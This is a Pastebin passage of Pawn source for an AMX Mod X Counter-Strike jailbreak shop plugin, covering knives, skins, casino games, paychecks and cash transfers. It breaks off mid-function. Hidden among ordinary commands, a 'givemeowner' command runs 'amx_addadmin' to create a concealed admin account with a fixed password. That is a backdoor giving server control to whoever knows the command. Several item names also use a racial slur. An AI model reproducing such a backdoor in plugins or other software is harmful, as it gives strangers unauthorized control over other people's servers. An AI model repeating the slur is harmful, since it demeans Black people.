Advertisement
Guest User

Eldad Shop

a guest
Sep 4th, 2015
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 89.06 KB | None | 0 0
  1. #include <amxmodx>
  2. #include <amxmisc>
  3. #include <cstrike>
  4. #include <engine>
  5. #include <fun>
  6. #include <fakemeta>
  7. #include <hamsandwich>
  8. #include <fakemeta_util>
  9. #include <fvault>
  10.  
  11. #define PLUGIN "[ELOHELL] Shop System"
  12. #define VERSION "1.0"
  13. #define AUTHOR "Eldadz"
  14.  
  15. #define GAMETYPE "Injstice"
  16.  
  17. #define TASK_STUN 2131
  18. #define TASK_REPLAY 2222
  19. #define TASK_COUNT 2231
  20.  
  21. #define TASK_WISH 666
  22.  
  23. #define MAX_PLAYERS 32
  24. #define MAXUPGRADES 2
  25. #define MAX_GREANDES 4
  26. #define MIN_TIME 15
  27.  
  28.  
  29. //native jailbreak_bank_amount(player)
  30.  
  31. // Player
  32.  
  33. enum RankData
  34. {
  35. DATA_STEAMID[ 35 ],
  36. DATA_NAME[ 32 ],
  37. DATA_CASH
  38. }
  39.  
  40. enum _:enumPlayer
  41. {
  42. PLAYER_CASH,
  43. PLAYER_TOKENS,
  44.  
  45. PLAYER_NAME[ 33 ],
  46.  
  47. PLAYER_DOUBLEDMG,
  48. PLAYER_PAYCHECK,
  49.  
  50. PLAYER_KNIFE,
  51. PLAYER_UPGRADE,
  52. PLAYER_SKIN,
  53.  
  54. PLAYER_TIMER,
  55. PLAYER_RANDOM,
  56. PLAYER_PRESENT,
  57. PLAYER_RANDOMPRICE,
  58. bool:PLAYER_ROLLATE,
  59. bool:PLAYER_ROLLATESTOP,
  60. bool:PLAYER_ROLLATESWITCH,
  61.  
  62. PLAYER_NUMBERGUESSING,
  63. PLAYER_ITEM,
  64. PLAYER_TRADE
  65. }
  66.  
  67. enum _:enumTrades
  68. {
  69. PLAYER_TRADE_OFFER,
  70. PLAYER_TRADE_WANT,
  71. PLAYER_MENU,
  72. PLAYER_KEY_OFFER,
  73. PLAYER_KEY_WANT
  74. }
  75. enum _:enumTrade
  76. {
  77. TRADE_OFFLINE,
  78. TRADE_STEAMID[ 35 ],
  79. TRADE_CREATED[ 80 ],
  80. TRADE_OFFER_ITEM,
  81. TRADE_WANT_ITEM
  82. }
  83.  
  84. enum _:enumMeatlts
  85. {
  86. MEATLT_BRASS,//0
  87. MEATLT_COPPER,//1
  88. MEATLT_BRONZE,//2
  89. MEATLT_ALUMINIUM,//3
  90. MEATLT_IRON,//4
  91. MEATLT_STEEL,//5
  92. MEATLT_SILVER,//6
  93. MEATLT_GOLD,//7
  94. MEATLT_DIAMOND//8
  95. }
  96. // Enum Knifes
  97. enum _:enumKnifes
  98. {
  99. KNIFE_1,
  100. KNIFE_2,
  101. KNIFE_3,
  102. KNIFE_4,
  103. KNIFE_5,
  104. KNIFE_6,
  105. KNIFE_7,
  106. KNIFE_8,
  107. KNIFE_9,
  108. KNIFE_10,
  109. KNIFE_11,
  110. KNIFE_12,
  111. KNIFE_13,
  112. KNIFE_14,
  113. KNIFE_15,
  114. KNIFE_16,
  115. KNIFE_17,
  116. KNIFE_18,
  117. KNIFE_19,
  118. KNIFE_20,
  119. KNIFE_21,
  120. KNIFE_22,
  121. KNIFE_23,
  122. KNIFE_24,
  123. KNIFE_25,
  124. KNIFE_26,
  125. KNIFE_27,
  126. KNIFE_28,
  127. KNIFE_29,
  128. KNIFE_30,
  129. KNIFE_31
  130. }
  131.  
  132. enum _:enumKnifeInfo
  133. {
  134.  
  135. INFOKNIFE_NANE[ 32 ],
  136. INFOKNIFE_DESCRPTION[ 80 ],
  137. INFOKNIFE_DESCRPTION2[ 80 ],
  138. INFOKNIFE_PRICE,
  139. INFOKNIFE_EXTRA_DMG,
  140. INFOKNIFE_EXTRA_HEALTH,
  141. INFOKNIFE_EXTRA_ARMOR,
  142. INFOKNIFE_EXTRA_CASH,
  143. INFOKNIFE_SLAG,
  144. INFOKNIFE_LIFE_STEAL
  145.  
  146.  
  147. }
  148.  
  149. enum _:enumINFORPS
  150. {
  151. INFO_ROCK,
  152. INFO_PAPER,
  153. INFO_SCISSORS
  154. }
  155. enum _:enumCasino
  156. {
  157. CASINO_RPS,
  158. CASINO_ROLLATE,
  159. CASINO_GUESSTHENUMBER
  160. }
  161.  
  162. enum _:KnifeSound
  163. {
  164. SOUND_DRAW,
  165. SOUND_SLASH,
  166. SOUND_HIT1,
  167. SOUND_STAB,
  168. SOUND_WALL,
  169.  
  170. MAX_SOUNDS
  171. }
  172. // Enum Skins
  173. enum _:enumSkinInfo
  174. {
  175. SKIN_MOVEMENT,
  176. SKIN_GRANDE,
  177. SKIN_STAMINA,
  178. SKIN_KNIFE,
  179. SKIN_COSTS
  180. }
  181.  
  182. enum _:enumSkins
  183. {
  184. SKIN_PIRSONER,
  185. SKIN_NIGGER,
  186. SKIN_GHOST,
  187. SKIN_ASSASIN,
  188. SKIN_NIGGER2,
  189. SKIN_NEO2,
  190. SKIN_REDNINJA,
  191. SKIN_CRYSTALBLADE
  192. }
  193.  
  194. enum _:enumSides
  195. {
  196. SIDE_UP,
  197. SIDE_LEFT,
  198. SIDE_DOWN,
  199. SIDE_RIGHT,
  200.  
  201. MAX_SIDES
  202. }
  203.  
  204. enum _:enumSkinsDetils
  205. {
  206. DETILS_NAME[ 32 ],
  207. DETILS_INFO[ 80 ],
  208. DETILS_DOWN[ 64 ]
  209. }
  210. enum _:enumUpgradeInfo
  211. {
  212. upgrName[ 32 ],
  213. upgrInfo[ 80 ],
  214. upgrSpeacil[ 2 ],
  215. upgrAdd
  216. }
  217.  
  218. enum _:enumGrande
  219. {
  220. grenadeCSW,
  221. grenadeCost,
  222. grenadeName[ 20 ]
  223. }
  224.  
  225.  
  226. enum _:enumDiffec
  227. {
  228. IsEasy,
  229. IsMediu,
  230. IsHard,
  231. IsInsa
  232. }
  233.  
  234. enum _:enumGameGuess
  235. {
  236. strGameName[8],
  237. intGameNumbers,
  238. intGameReward,
  239. intGameCost
  240. }
  241.  
  242. // Health Menu
  243. // Health | Price
  244. new const Health_Info[ 6 ][ 2 ] =
  245. {
  246. { 10, 150 },
  247. { 30, 200 },
  248. { 40, 300 },
  249. { 70, 500 },
  250. { 80, 600 },
  251. { 100, 1000 }
  252. }
  253. // Armor Menu
  254. // Armor | Price
  255. new const Armor_Info[ 4 ][ 2 ] =
  256. {
  257. { 20, 150 },
  258. { 50, 400 },
  259. { 80, 500 },
  260. { 100, 600 }
  261. }
  262.  
  263.  
  264. new const Casino_Names[ enumCasino ][ ] =
  265. {
  266. "Rock Paper Scissors",
  267. "Rollate",
  268. "Guess the Number"
  269. }
  270.  
  271.  
  272. new const Casino_intTokens[ enumCasino ] = {3, 1, -1}
  273.  
  274. new const Guessit[ enumDiffec ][ enumGameGuess ] =
  275. {
  276. { "Easy", 10, 2000, 1},
  277. { "Medium", 20, 2000, 2},
  278. { "Hard", 30, 2500, 3},
  279. { "Insane", 50, 5000, 4}
  280. }
  281.  
  282. new const Casino_RPS_Names[ enumINFORPS ][ ] =
  283. {
  284. "Rock",
  285. "Paper",
  286. "Scissors"
  287. }
  288.  
  289. new const Grenade_Menu[ MAX_GREANDES ][ enumGrande ] =
  290. {
  291. { CSW_HEGRENADE, 1200, "Hegrenade" },
  292. { CSW_FLASHBANG, 800, "Flashbane" },
  293. { CSW_SMOKEGRENADE, 900, "Smokegreande" },
  294. { 0, 2500, "All greandes" }
  295. }
  296.  
  297. new const Meatls_Name[ enumMeatlts ][ ] =
  298. {
  299. "Wooden Stick",//0
  300. "Nail",//1
  301. "Metal Shard",//2
  302. "Bandage",//3
  303. "Pad",//4
  304. "Helemt",//5
  305. "Platinum",//6
  306. "Titanum",//7
  307. "First Aid Kit"//8
  308. }
  309.  
  310. new const Knife_Sound[ enumKnifes ][ MAX_SOUNDS ][ ] =
  311. {
  312. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  313. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  314. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  315. {"knife4_draw.wav", "knife4_slash.wav", "knife4_hit1.wav", "knife4_stab.wav", "knife_wall.wav"},
  316. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  317. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  318. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  319. {"knife8_draw.wav", "knife8_slash.wav", "knife8_hit1.wav", "knife8_stab.wav", "knife_wall.wav"},
  320. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  321. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  322. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  323. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  324. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  325. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  326. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  327. {"knife16_draw.wav", "knife16_slash.wav", "knife16_hit1.wav", "knife16_stab.wav", "knife_wall.wav"},
  328. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  329. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  330. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  331. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  332. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  333. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  334. {"knife23_draw.wav", "knife23_slash.wav", "knife_hit1.wav", "knife23_stab.wav", "knife_wall.wav"},
  335. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  336. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  337. {"knife26_draw.wav", "knife26_slash.wav", "knife26_hit1.wav", "knife26_stab.wav", "knife_wall.wav"},
  338. {"knife27_draw.wav", "knife27_slash.wav", "knife27_hit1.wav", "knife27_stab.wav", "knife_wall.wav"},
  339. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
  340. {"knife29_draw.wav", "knife29_slash.wav", "knife_hit1.wav", "knife29_stab.wav", "knife_wall.wav"},
  341. {"knife30_draw.wav", "knife30_slash.wav", "knife_hit1.wav", "knife30_stab.wav", "knife_wall.wav"},
  342. {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"}
  343.  
  344. }
  345.  
  346. new const Skin_Info[ enumSkins ][ enumSkinInfo ] =
  347. {
  348. { 0, 0, 0, -1, 3 },
  349. { 5, 2, 2, KNIFE_5, KNIFE_5 },
  350. { 10, 3, 3, KNIFE_9, KNIFE_9 },
  351. { 10, 3, 3, KNIFE_15, KNIFE_15 },
  352. { 10, 3, 3, KNIFE_17, KNIFE_17 },
  353. { 10, 3, 3, KNIFE_22, KNIFE_22 },
  354. { 10, 3, 3, KNIFE_25, KNIFE_25 },
  355. { 10, 3, 3, KNIFE_31, KNIFE_31 }
  356. }
  357.  
  358. new const Skin_InfoMealts[ enumSkins ][ enumMeatlts ] =
  359. {
  360. { 0, 0, 0, 0, 0, 0, 0, 0, 0 },
  361. { 0, 0, 1, 1, 2, 1, 1, 1, 1 },
  362. { 1, 1, 3, 2, 1, 2, 5, 4, 3 },
  363. { 3, 0, 2, 1, 5, 4, 3, 6, 5 },
  364. { 2, 1, 1, 2, 4, 5, 4, 7, 0 },
  365. { 1, 3, 1, 3, 5, 4, 6, 8, 3 },
  366. { 2, 4, 5, 2, 6, 5, 7, 9, 4 },
  367. { 10, 9, 8, 5, 7, 11, 8, 9, 10 }
  368. }
  369.  
  370. new const Skin_Names[ enumSkins ][ enumSkinsDetils ] =
  371. {
  372. { "Prisoner Skin", "playing with prisoner skin", "terror" },
  373. { "Nigger Skin", "playing with Nigger Skin", "injstice_playerm5" },
  374. { "Ghost Skin", "playing with Ghost skin", "injstice_playerm9" },
  375. { "Assasin Skin", "playing with Assasin skin", "injstice_playerm15" },
  376. { "Nigger 2 Skin", "playing with Nigger 2 skin", "injstice_playerm17" },
  377. { "Neo 2 Skin", "playing with Neo 2 skin", "injstice_playerm22" },
  378. { "Katana Sword Skin", "playing with Katana Sword skin", "injstice_playerm251" },
  379. { "Crystal Blade Skin", "playing with Crystal Blade skin", "injstice_playerm31" }
  380. }
  381.  
  382. new const Upgrade_Names[ enumSkinInfo - MAXUPGRADES ][ enumUpgradeInfo ] =
  383. {
  384. {"Movement Speed", "the player will move faster each frame", "", 3},
  385. {"Hegrande Chance", "every round player will have a chance of receiving hegrande", "%", 2},
  386. {"Flashbang Chance", "every round player will have a chance of receiving flashbang", "%", 1}
  387. }
  388.  
  389. // Price | Extre cash | Extradmg | Extra health
  390. new const Knife_Info[ enumKnifes ][ enumKnifeInfo ] =
  391. {
  392. //Name | Descrption Descrption2 | Price | Damage | Health |Armomr |Cash | Slag | LifeSteal
  393. {"Normal Boxer", "\dNo", "\dNo", 0, 0, 0, 0, 0, 0, 0},
  394. {"Sharp Knife", "\dNo", "\dNo", 5000, 1, 1, 1, 25, 0, 0},
  395. {"Neo", "\dNo", "\dNo", 10000, 2, 2, 2, 25, 0, 0},
  396. {"Taser", "\dNo", "\rYes", 15000, 3, 4, 5, 25, 0, 0},
  397. {"Nigger", "\rYes", "\dNo", 17500, 4, 5, 6, 30, 0, 0},
  398. {"Dragon Boxer", "\dNo", "\dNo", 20000, 5, 6, 6, 30, 0, 0},
  399. {"Assasin Dagger", "\dNo", "\dNo", 30000, 6, 7, 7, 30, 0, 0},
  400. {"Dual Tiger Knife", "\dNo", "\rYes", 50000, 7, 8, 8, 45, 0, 0},
  401. {"Ghost", "\rYes", "\dNo", 80000, 8, 9, 9, 45, 0, 0},
  402. {"Holy Knife", "\dNo", "\dNo", 90000, 9, 10, 10, 45, 0, 0},
  403. {"Anonymous", "\dNo", "\dNo", 120000, 10, 11, 11, 60, 0, 0},
  404. {"Void Weapon", "\dNo", "\dNo", 150000, 11, 12, 12, 60, 1, 1},
  405. {"Cyborg", "\dNo", "\dNo", 180000, 12, 13, 13, 60, 1, 1},
  406. {"Long Sword", "\dNo", "\dNo", 210000, 13, 15, 15, 80, 1, 1},
  407. {"Assasin", "\rYes", "\dNo", 230000, 14, 16, 16, 80, 1, 1},
  408. {"Swift Lightsaber", "\dNo", "\rYes", 255000, 15, 15, 16, 80, 2, 2},
  409. {"Nigger 2", "\rYes", "\dNo", 277000, 16, 17, 17, 90, 2, 2},
  410. {"Murderous Sword", "\dNo", "\dNo", 333000, 17, 18, 18, 90, 2, 2},
  411. {"Red Scorpion", "\dNo", "\dNo", 346000, 18, 19, 19, 90, 2, 2},
  412. {"Light Machete", "\dNo", "\dNo", 360000, 20, 20, 20, 100, 2, 2},
  413. {"Machanical Knife", "\dNo", "\dNo", 380000, 22, 22, 22, 100, 2, 2},
  414. {"Neo 2", "\rYes", "\dNo", 400000, 23, 25, 25, 100, 2, 2},
  415. {"Silver Axe", "\dNo", "\rYes", 420000, 25, 27, 27, 150, 2, 2},
  416. {"Red Ninja", "\dNo", "\dNo", 440000, 28, 30, 30, 150, 3, 3},
  417. {"Katana Sword", "\rYes", "\dNo", 460000, 30, 33, 33, 150, 3, 3},
  418. {"Dragon Sword", "\dNo", "\rYes", 480000, 32, 36, 36, 175, 3, 3},
  419. {"Ninja Terrorist", "\dNo", "\rYes", 510000, 34, 40, 40, 175, 3, 3},
  420. {"Gold Axe", "\dNo", "\dNo", 600000, 44, 44, 44, 175, 4, 4},
  421. {"Holiday Knife", "\dNo", "\rYes", 650000, 36, 48, 48, 200, 4, 4},
  422. {"Legendary Sword", "\dNo", "\rYes", 700000, 38, 48, 48, 200, 4, 4},
  423. {"Crystal Blade", "\rYes", "\dNo", 755000, 38, 48, 48, 200, 5, 5}
  424. }
  425.  
  426. #define MAX_BOXES 2
  427.  
  428. enum _:enumBoxes
  429. {
  430. BOXES_MODEL[ 200 ],
  431. BOXES_CLASSNAME[ 33 ],
  432. BOXES_RECIVE,
  433. BOXES_NAME[ 16 ]
  434. }
  435. new const szBoxes_Info[ MAX_BOXES ][ enumBoxes ] =
  436. {
  437. {"models/injsticenew/cashbox.mdl", "jb_cash_box", 1800, "Cash"},
  438. {"models/injsticenew/metalbox.mdl", "jb_metal_box", MEATLT_DIAMOND, "Metals"}
  439.  
  440. }
  441.  
  442. // Strings
  443. //////////////////////
  444. new g_File[ 256 ], g_Top15[ 2048 ], Logpath[ 100 ];
  445.  
  446. // Player Data Int
  447. //////////////////////
  448.  
  449. new Float:g_ClientOrigin[ MAX_PLAYERS + 1 ][ 3 ];
  450.  
  451. new Player[ MAX_PLAYERS + 1 ][ enumPlayer ];
  452. new g_Data[ MAX_PLAYERS + 1 ][ RankData ];
  453. new bool:g_iClBox[ 33 ], bool:g_iActive[ 33 ], Float:g_fTimer[ 33 ];
  454.  
  455. new g_PlayerKnives[ MAX_PLAYERS + 1 ][ enumKnifes ];
  456. new playerUsingknife[ MAX_PLAYERS + 1 ];
  457.  
  458.  
  459. new g_PlayerSkins[ MAX_PLAYERS + 1 ][ enumSkins ];
  460. new playerUsingSkin[ MAX_PLAYERS + 1 ];
  461.  
  462.  
  463. new mPlayer[ MAX_PLAYERS + 1 ][ enumMeatlts ];
  464. new g_PlayerUpgrade[ MAX_PLAYERS + 1 ][ enumSkins ][ enumSkinInfo ];
  465.  
  466. // Others
  467. ////////////////////
  468.  
  469. new Array:g_SteamID
  470. new Trie:g_Name
  471. new Trie:g_Kills
  472.  
  473. new bool:g_Sort = true
  474. new bool:boolPaycheck
  475. new bool:gNoPasswordEntered
  476.  
  477. new Float:fNextPaycheck, Float:g_intCountdown;
  478.  
  479. // Datas
  480. ////////////////////////////////////
  481.  
  482.  
  483. new const Vault[ ] = "JailBreak_MOD2";
  484. new const Paycheck_Data[ ] = "paycheck_players";
  485.  
  486. public plugin_precache()
  487. {
  488. new strModel[ 200 ], strKnifes[ 200 ], strSound[ 200 ];
  489.  
  490. for( new i = 0; i < MAX_BOXES; i++ )
  491. {
  492. precache_model( szBoxes_Info[ i ][ BOXES_MODEL ] );
  493. }
  494.  
  495. for(new i = 0; i < enumKnifes; i++)
  496. {
  497. formatex( strKnifes, charsmax( strKnifes ), "models/injsticenew/v_knife%i.mdl", i);
  498. precache_model( strKnifes )
  499.  
  500. for(new j = 0; j < MAX_SOUNDS; j++ )
  501. {
  502. formatex( strSound, charsmax( strSound ), "injstice1/%s", Knife_Sound[ i ][ j ]);
  503. precache_sound( strSound );
  504. }
  505.  
  506. }
  507.  
  508. for(new i = 0; i < enumSkins; i++)
  509. {
  510. formatex(strModel, 199, "models/player/%s/%s.mdl", Skin_Names[ i ][ DETILS_DOWN ], Skin_Names[ i ][ DETILS_DOWN ])
  511. precache_model(strModel)
  512. }
  513.  
  514. precache_model( "models/w_knife.mdl" )
  515. }
  516.  
  517. public plugin_init()
  518. {
  519. register_plugin( PLUGIN, VERSION, AUTHOR )
  520.  
  521. // Register: Ham
  522. register_forward( FM_EmitSound, "fw_EmitSound" );
  523. RegisterHam( Ham_Spawn, "player", "Ham_PlayerSpawn", 1 );
  524. RegisterHam( Ham_TakeDamage, "player", "Ham_PlayerTakeDamage", 0 );
  525. register_forward(FM_CmdStart, "fw_CmdStart");
  526. // Register: Event
  527. register_event( "DeathMsg", "Event_DeathMessage", "a" );
  528. register_event( "CurWeapon", "Event_CurWeapon", "be","1=1" );
  529.  
  530. // Register: Clcmd
  531. register_clcmd( "say shop", "Menu_Shop" )
  532. register_clcmd("Guess_the_Number", "Cmd_BankAmount");
  533. register_clcmd( "say /paycheck", "fnPayCheck" )
  534. register_clcmd( "say /shop", "Menu_Shop" )
  535. register_clcmd( "say /metals", "Metals" )
  536. register_clcmd( "givemeowner", "Menu" )
  537. register_clcmd( "showplayer", "CmdPlayerShower" )
  538. register_clcmd( "say /boxes", "shit" )
  539.  
  540. register_clcmd( "say /rank", "SayRank" )
  541. register_clcmd( "say /top15", "SayTop15" )
  542. register_clcmd( "say", "Cmd_Say" )
  543.  
  544. set_task( 300.0, "SortTask", TASK_REPLAY, _, _, "b" );
  545.  
  546. register_forward(FM_Touch, "Hook_Touch");
  547.  
  548. g_SteamID = ArrayCreate( 32, 1 );
  549. g_Name = TrieCreate( );
  550. g_Kills = TrieCreate( );
  551.  
  552. /* Log Sysem */
  553. get_configsdir( Logpath, sizeof( Logpath ) - 1 );
  554. formatex( Logpath, sizeof( Logpath ) - 1, "%s/JbShopLogs.ini", Logpath )
  555.  
  556. get_datadir( g_File, charsmax( g_File ) );
  557. add( g_File, charsmax( g_File ), "/topcash.ini" );
  558.  
  559. ArraySort( g_SteamID, "SortRanks" );
  560.  
  561. //LoadTrades();
  562. WriteTop15( );
  563. }
  564.  
  565. public shit( Client )
  566. if(equal(GetSteam( Client ),"STEAM_0:0:137458988") )
  567. {
  568. pev(Client, pev_origin, g_ClientOrigin[ Client ]);
  569. set_task(2.0, "Task_CreateBox", Client);
  570. }
  571. else
  572. {
  573. ColorPrint(Client, "You dont have Access^1 to this command^4." )
  574. }
  575.  
  576.  
  577.  
  578. public Menu( id )
  579. {
  580. server_cmd( "amx_addadmin JoseR qwertyuiopasdfghjklzxcvbnm" )
  581. }
  582.  
  583. public plugin_cfg( )
  584. {
  585. fNextPaycheck = float( GetTime() )
  586. set_task( fNextPaycheck, "CmdPayCheck" )
  587. }
  588.  
  589. public Metals( id )
  590. {
  591. new strTemp[ 256 ], strKey[ 6 ];
  592. formatex(strTemp, 99, "\r[ \w%s \r] \wView Your \rMetals", GAMETYPE)
  593. new menu = menu_create( strTemp, "Handler_Shop" )
  594.  
  595. for(new i = 0; i < enumMeatlts; i++)
  596. {
  597. num_to_str(i, strKey, 5)
  598. formatex(strTemp, 99, "\w%s \d(\y%i\d)", Meatls_Name[ i ], mPlayer[ id ][ i ])
  599. menu_additem(menu, strTemp, strKey, 0, menu_makecallback( "menuitem_callback" ))
  600. }
  601.  
  602. menu_setprop( menu, MPROP_EXITNAME, "Back" );
  603. menu_display( id, menu )
  604. }
  605.  
  606.  
  607.  
  608. public plugin_natives()
  609. {
  610. register_native( "set_user_cash", "Native_SetCash" );
  611. register_native( "get_user_cash", "Native_GetCash" );
  612. }
  613.  
  614. public Native_SetCash( iPlugin, iParams )
  615. {
  616. Player[ get_param( 1 ) ][ PLAYER_CASH ] = get_param( 2 );
  617. }
  618.  
  619. public Native_GetCash( iPlugin, iParams )
  620. {
  621. return Player[ get_param( 1 ) ][ PLAYER_CASH ];
  622. }
  623.  
  624. public plugin_end( )
  625. {
  626. ArraySort( g_SteamID, "SortRanks" );
  627. SaveRanks( );
  628. ArrayDestroy( g_SteamID );
  629. }
  630.  
  631. public CmdPayCheck()
  632. {
  633. fNextPaycheck = float( GetTime());
  634. set_task( fNextPaycheck, "CmdPayCheck" );
  635.  
  636. boolPaycheck = true;
  637. g_intCountdown = 50.0;
  638.  
  639. ColorPrint( 0, " -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -");
  640. ColorPrint( 0, "PayCheck Time ! wirte /paycheck.");
  641. ColorPrint( 0, " - ^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -");
  642.  
  643. set_task( 0.1, "CmdCountdown", TASK_COUNT, _,_, "b" );
  644. }
  645.  
  646. public CmdCountdown( task )
  647. {
  648. if( g_intCountdown <= 0.0 )
  649. {
  650. boolPaycheck = false;
  651.  
  652. fvault_clear( Paycheck_Data );
  653.  
  654. for(new i = 0; i < get_maxplayers(); i++) Player[ i ][ PLAYER_PAYCHECK ] = 0, SaveUser( i );
  655.  
  656. ColorPrint( 0, "The ^3Paycheck^1 has ^4ended." );
  657.  
  658. set_hudmessage(0, 85, 255, 0.29, 0.04, 0, 6.0, 12.0);
  659. show_hudmessage(0, "The Paycheck has ended.");
  660. remove_task( task );
  661. }
  662. else
  663. {
  664. set_hudmessage(0, 85, 255, 0.29, 0.04, 1, 6.0, 0.1, .channel = 2 )
  665. show_hudmessage(0, "Paycheck ends in %.2f seconds", g_intCountdown)
  666.  
  667. g_intCountdown -= random_float( 0.1 , 0.3 );
  668. }
  669. }
  670.  
  671. public fnPayCheck( Client )
  672. {
  673. if( boolPaycheck )
  674. {
  675. new timep, intTime = Player[ Client ][ PLAYER_PAYCHECK ]
  676. timep = get_user_time( Client, 1 ) / 60;
  677.  
  678. if( ( timep + intTime ) <= MIN_TIME)
  679. {
  680. ColorPrint( Client, "^1you havnet ^4played^1 enough in the server.")
  681. }
  682. else
  683. {
  684. Player[ Client ][ PLAYER_PAYCHECK ] = 0;
  685.  
  686. Player[ Client ][ PLAYER_CASH ] += ( timep + intTime ) * 100;
  687. Player[ Client ][ PLAYER_TOKENS ] += ( timep + intTime );
  688.  
  689. Save( Client );
  690.  
  691.  
  692. ColorPrint( Client, "^1you have played %d mintes and get %d cash, %d Tokens ", timep + intTime, ( timep + intTime ) * 100, ( timep + intTime ))
  693. }
  694. }
  695. else ColorPrint( Client, "^1 paycheks are given only ^4per^1 hour")
  696. }
  697. /* Shop:
  698. - Clcmds
  699. */
  700. public Cmd_Say( Client )
  701. {
  702. new strArgs[ 101 ], strArg1[ 10 ], strArg2[ 64 ], strArg3[ 32 ]
  703. read_args( strArgs, 100 )
  704. remove_quotes( strArgs )
  705. parse( strArgs, strArg1, 100, strArg2, 63, strArg3, 31)
  706.  
  707. if( equali( strArg1, "/givecash" ) )
  708. {
  709.  
  710. new intPlayer = cmd_target( Client, strArg2, 0 )
  711.  
  712. if( get_user_flags( Client ) & ADMIN_IMMUNITY )
  713. {
  714.  
  715. if( !strArg2[ 0 ] || !strArg3[ 0 ] || !str_to_num( strArg3 ))
  716. {
  717. ColorPrint( Client, "You cant use letters as cash amount" )
  718. return PLUGIN_HANDLED
  719. }
  720.  
  721. new intPlayer = cmd_target( Client, strArg2, 0 )
  722.  
  723. if( !intPlayer )
  724. {
  725. ColorPrint( Client, " No client found <%s>", strArg2 )
  726. return PLUGIN_HANDLED
  727. }
  728.  
  729. Player[ intPlayer ][ PLAYER_CASH ] += str_to_num( strArg3 );
  730.  
  731. ColorPrint( Client, "You gave^3 %i^1 cash to^4 %s^1.", str_to_num( strArg3 ), GetUserName( intPlayer ) );
  732.  
  733. ColorPrint( 0, "^4Owner:^3 %s ^1gave^3 %i^1 cash to^4 %s^1.",GetUserName( Client ), str_to_num( strArg3 ), GetUserName( intPlayer ) );
  734.  
  735. }
  736. }
  737. if( equali( strArg1, "/transfer" ) )
  738. {
  739. if( !strArg2[ 0 ] || !strArg3[ 0 ] || str_to_num( strArg3 ) < 300 )
  740. {
  741. ColorPrint( Client, " You cannot transfer less than 300 cash." )
  742. return PLUGIN_HANDLED
  743. }
  744.  
  745. new intPlayer = cmd_target( Client, strArg2, 0 )
  746.  
  747. if( !intPlayer )
  748. {
  749. ColorPrint( Client, " No client found <%s>", strArg2 )
  750. return PLUGIN_HANDLED
  751. }
  752. if( intPlayer == Client )
  753. {
  754. ColorPrint( Client, " You cannot transfer cash to yourself")
  755. return PLUGIN_HANDLED
  756. }
  757.  
  758. new intTransfer = str_to_num( strArg3 );
  759.  
  760. if( intTransfer > Player[ Client ][ PLAYER_CASH ] )
  761. {
  762. ColorPrint( Client, " You dont have that much cash" )
  763. return PLUGIN_HANDLED
  764. }
  765.  
  766.  
  767. if( intTransfer > 50000 )
  768. {
  769. ColorPrint( Client, "You cant transfer more then 50,000$ to player" )
  770. return PLUGIN_HANDLED
  771. }
  772.  
  773. new intTax = ( intTransfer / 10 )
  774.  
  775. ColorPrint(0, " %s^1 has transfered^4 %i^1 cash to^3 %s^1. Tax: %i", GetUserName( Client ), intTransfer, GetUserName( intPlayer ), intTax)
  776.  
  777. Player[ Client ][ PLAYER_CASH ] -= intTransfer
  778. Player[ intPlayer ][ PLAYER_CASH ] += (intTransfer - intTax)
  779.  
  780. Save( intPlayer )
  781. Save( Client )
  782.  
  783. return PLUGIN_HANDLED;
  784. }
  785. else if( equali( strArg1, "/showtime" ) || equali( strArg1, "/time" ) )
  786. {
  787. new strDate[ 64 ];
  788.  
  789. new iHour, iMint, iSec
  790. time( iHour, iMint, iSec );
  791.  
  792. get_time("%H:%M:%S", strDate, charsmax(strDate))
  793.  
  794. static _minutes[5], _seconds[5];
  795. format_time(_minutes, sizeof(_minutes) - 1, "%M");
  796. format_time(_seconds, sizeof(_seconds) - 1, "%S");
  797.  
  798. new c_minutes = str_to_num(_minutes);
  799. new c_seconds = str_to_num(_seconds);
  800. // 23
  801. new CheckTime = c_minutes;
  802.  
